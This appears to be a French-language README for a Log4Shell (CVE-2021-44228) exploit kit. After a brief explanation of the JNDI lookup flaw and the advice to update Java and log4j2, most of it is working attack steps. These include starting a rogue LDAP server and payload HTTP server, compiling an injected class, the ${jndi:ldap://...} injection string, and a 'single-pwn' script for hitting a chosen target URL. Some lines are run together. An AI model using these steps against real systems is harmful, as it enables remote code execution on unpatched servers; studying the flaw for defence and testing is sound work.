
CVE-2021-44228
Cette vulnérabilité fondamentale a été signalée par [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) et corrigée par [cet article. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
Cependant, la bibliothèque de journalisation pour Java appelée log4j2 possédait (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), qui permettait l'accès à des protocoles tels que LDAP, ce qui permettait l'injection de code dans les anciennes versions de Java.
Les versions corrigées de Java peuvent empêcher l'injection de code, mais `JNDILookup` effectue une requête vers le serveur LDAP, ce qui peut entraîner des fuites d'IP.
La solution consiste à mettre à jour les versions de **Java** et **log4j2**.
cd http-server && npm install && cd ../ldap-server && npm install
http-server et ldap-server tous les deuxcd http-server && node index.js &
cd ldap-server && node index.js
# Ceci générera Main.java – nécessaire pour l'injection de code.
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# Vous pouvez toujours utiliser log4j-client dans le dépôt pour les tests internes.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Ou exécutez une autre application, com.sun.jndi.ldap.object.trustURLCodebase=true est requis pour l'injection de code, sinon elle ne fera qu'une requête au serveur LDAP.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Exploitation d'une cible unique
# Modifier exploit-configs.txt avec l'URL et les paramètres
cd scripts/single-pwn && python3 __main__.py
Voir la licence dans LICENSE